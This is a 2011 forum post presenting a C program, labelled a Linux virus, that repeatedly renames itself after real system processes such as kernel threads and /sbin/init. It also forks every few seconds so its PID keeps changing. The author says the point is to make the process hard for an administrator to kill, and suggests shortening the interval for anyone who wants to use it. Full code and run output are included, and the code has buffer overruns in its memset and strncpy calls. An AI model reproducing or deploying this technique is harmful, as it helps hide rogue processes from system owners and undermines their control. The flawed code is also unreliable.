1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Virus in Linux - C Code That Changes it's Process Name and its Process ID at Run Time

Discussion in 'C' started by poornaMoksha, Nov 30, 2011.

  1. poornaMoksha

    poornaMoksha New Member

    Joined:
    Jan 29, 2011
    Messages:
    150
    Likes Received:
    33
    Trophy Points:
    0
    Occupation:
    Software developer
    Location:
    India
    After writing my previous article Virus Code in Linux - C Code That Changes it's Process Name Run Time, I wondered if a process can change its name then why cannot it change its PID. And what if a process can change both its name and PID after lets say every 1 second? Well it will be a difficult task for a system administrator to kill that process. SO I decided to go ahead with the Idea.

    Lets see what I did...

    The Code



    Here is the code for a program that changes its name and PID after every 5 seconds. I chose 5 seconds as its relatively easy for a user to kill this program once its run. If some one likes this code and wants to use it. He/she can reduce the sleep() time to 1 second and then run the code.

    Code:
    #include<stdio.h> 
    #include<stdlib.h> 
    #include<string.h> 
    #include<unistd.h> 
    #include<sys/types.h> 
     
    void change_pid() 
    { 
        pid_t pid; 
     
        // This function will replace the existing process image by 
        // a new process image. For all those who are new to fork() 
        // please refer to its man page and try out a few basic  
        // exercise to understand what this system call does. Just  
        // from the fact that this system call is made once but it  
        // returns twice, I must say that its not a trivial system  
        // call to understand. 
        pid = fork(); 
        if(0 == pid) 
        { 
            // pid ==0 means that this is child. Just print a log and 
            // do nothing here. Our motive was to create a new PID  
            // Which was only possible if we could create a new process 
            // image using fork. We did it successfully here. 
            printf("\n Child process created!!!!!\n"); 
        } 
        else 
        { 
            // This is the parent process, with old PID. We do not need 
            // it anymore so just exit from this. 
            printf("\n Created a new process, Exiting!!!!!\n"); 
            exit(0); 
        } 
    } 
         
     
    void change_name(char *argv[]) 
    { 
        char buff[1024]; // Buffer to read lines 
        char new_name[1028]; // Buffer to store new process name 
     
        char *ptr = NULL; 
        FILE *fp  = NULL; 
     
        a: memset(buff,'\0', sizeof(buff)); // Setting the memory with NULLs 
        memset(new_name,'\0', sizeof(new_name)); // Setting the memory with NULLs 
     
        // Introduce constant 3 bytes '123' in the begining  
        // of every process name that we change our process name to.  
        // So that we can at least easily track our process name 
        // when we check it using ps command. Note that 
        // this is only for practice purpose otherwise there 
        // is no need for a set of constant bytes like these. 
        new_name[0] = '1'; 
        new_name[1] = '2'; 
        new_name[2] = '3'; 
     
        // Run the command 'ps -aef > ps.txt' 
        // This command will store the result of 'ps -aef' in a text file 'ps.txt' 
        // The files would have entries like : 
           // UID        PID  PPID  C STIME TTY          TIME CMD 
           // root         1     0  0 20:49 ?        00:00:00 /sbin/init 
           // root         2     0  0 20:49 ?        00:00:00 [kthreadd] 
           // root         3     2  0 20:49 ?        00:00:00 [migration/0] 
           // root         4     2  0 20:49 ?        00:00:00 [ksoftirqd/0] 
     
        system("/bin/sh -c 'ps -aef > ps.txt'"); 
     
     
        // Open the file 'ps.txt' 
        fp = fopen("ps.txt", "r"); 
     
        if(NULL == fp) 
        { 
            printf("\n File open failed\n"); 
            //return -1; 
        } 
     
        // Get each line from file until the whole file is read or some error occurs 
        while(NULL != fgets(buff, sizeof(buff), fp)) 
        { 
            // Search for the character '[' in the line fetched from file. 
            // This is because most of the process names are enclosed in '[' brackets. 
            // For example : 
            // root         2     0  0 20:49 ?        00:00:00 [kthreadd] 
            ptr = strchr(buff, '['); 
     
            unsigned int len = strlen(buff); 
     
            if(NULL == ptr) 
            { 
                // Search for the character '/' in the line fetched from file. 
                // This is because many of the process names are start with '/'. 
                // For example : 
                // root         1     0  0 20:49 ?        00:00:00 /sbin/init 
                ptr = strchr(buff, '/'); 
            } 
            if(NULL != ptr) 
            { 
                // If any one of '[' or '/' is found than copy the complete process 
                // name in the buffer which already holds 123 as its first three bytes. 
                // Make sure that you do not overwrite the first three bytes of the buffer 
                // new_name which contains 123 as its first three bytes 
                strncat((new_name+3), ptr, ((buff + len-1) - ptr)); 
            } 
            else 
            { 
                // If the line fetched does not contain either of '[' or '/' 
                // Then use a default process name '/bin/bash' 
                ptr = "/bin/bash"; 
                strncpy((new_name+3), ptr, strlen(ptr)); 
            } 
     
            // Since by now we have the new_name buffer filled with 
            // new process name so copy this name to arg[0] so as to  
            // change our process name.   
            strncpy(argv[0], new_name, sizeof(new_name)); 
     
            printf("\n %s \n", new_name); 
     
            // Call this function to change the PID of the process by  
            // forking a new process. When the flow would return from  
            // this function, the process would be different and hence 
            // its PID would be different. 
            change_pid(); 
     
            //A delay of one second so that you can run the command 'ps -aef' 
            // and check the new name of our process and its new PID. Note  
            // that it is very now difficult to kill this process through  
            // ctrl+c as somehow its getting ignored (I will research more 
            // on this and will come back with analysis soon). I have kept  
            // the sleep interval to be 5 sec because the more I reduce it, 
            // the more difficult is for the user to kill it using : 
            //            kill -9 <PID> 
            // as PID keeps on changing within seconds.  
            sleep(5); 
             
            //Time to fetch a new line from ps.txt so just reset 
            // the buffer new_name with NULL bytes except the first 
            // three bytes which are '123'.  
            memset((new_name+3),'\0', sizeof(new_name)); 
        } 
     
        // Seems like either we are done reading all the lines 
        // from ps.txt or fgets() encountered some error. In either 
        // of the case, just close the file descriptor 
        fclose(fp); 
     
        // Since we do not want to stop even now, so lets re run the 
        // whole cycle again from running the command 'ps -aef > ps.txt' 
        // to reading each line using fgets() and changing the our process 
        // name accordingly 
        goto a; 
    } 
     
     
    int main(int argc, char* argv[]) 
    { 
        change_name(argv);     
        return 0; 
    }
    In this code, I created two functions :
    • change_name() -> for continuously changing the name
    • change_pid() -> for continuously changing the PID of the process
    Now, once a name is changes successfully, a call to change_pid() is made so that the a new process with new pid which will execute the same code gets created while the old process is terminated.

    Rest of the explanation I have provided as comments in the code itself.

    Output



    Now, the interesting part, lets run the code and see the output :

    Code:
     ~/practice $ ./namepid  
     
     123/bin/bash  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
    ~/practice $  
     123/sbin/init  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[kthreadd]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[migration/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[ksoftirqd/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[watchdog/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[migration/1]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[ksoftirqd/1]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[watchdog/1]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[events/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[events/1]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!
    When the code was executed, it started changing its name and its conveying that it is successfully changing its PID. Now I opened another terminal and checked the PID using the command ps -aef and running this command after every 5 seconds and I conformed that the PID was actually changing.

    Now I tried to kill it using ctrl+c :

    Code:
     123[cpuset]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[khelper]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[netns]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
    ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $ ^C 
    ~/practice $  
     123[async/mgr]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[pm]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[sync_supers]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[bdi-default]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[kintegrityd/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[kintegrityd/1]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!! 
     
     123[kblockd/0]  
     
     Created a new process, Exiting!!!!! 
     
     Child process created!!!!!
    But as you can see from the output, it kept on executing. This is something which I need to investigate that why SIGINT is being ignored here. Anyways after multiple tries, I was able to kill the process using :

    kill -9 <PID-of-process>

    Why it took multiple tries was because by the time I found the PID and wrote the above command, the PID use to get changed. But any how I got success. Thats why I was thinking that If the sleep() time is reduced to '1' sec then it will become very very difficult to kill the process.

    Conclusion



    To Conclude, In this article I extended my previous article where a process could change its name continuously on run time to a process which can now change its PID along with its name at run time.

    Stay tuned for more!!!!
     

Share This Page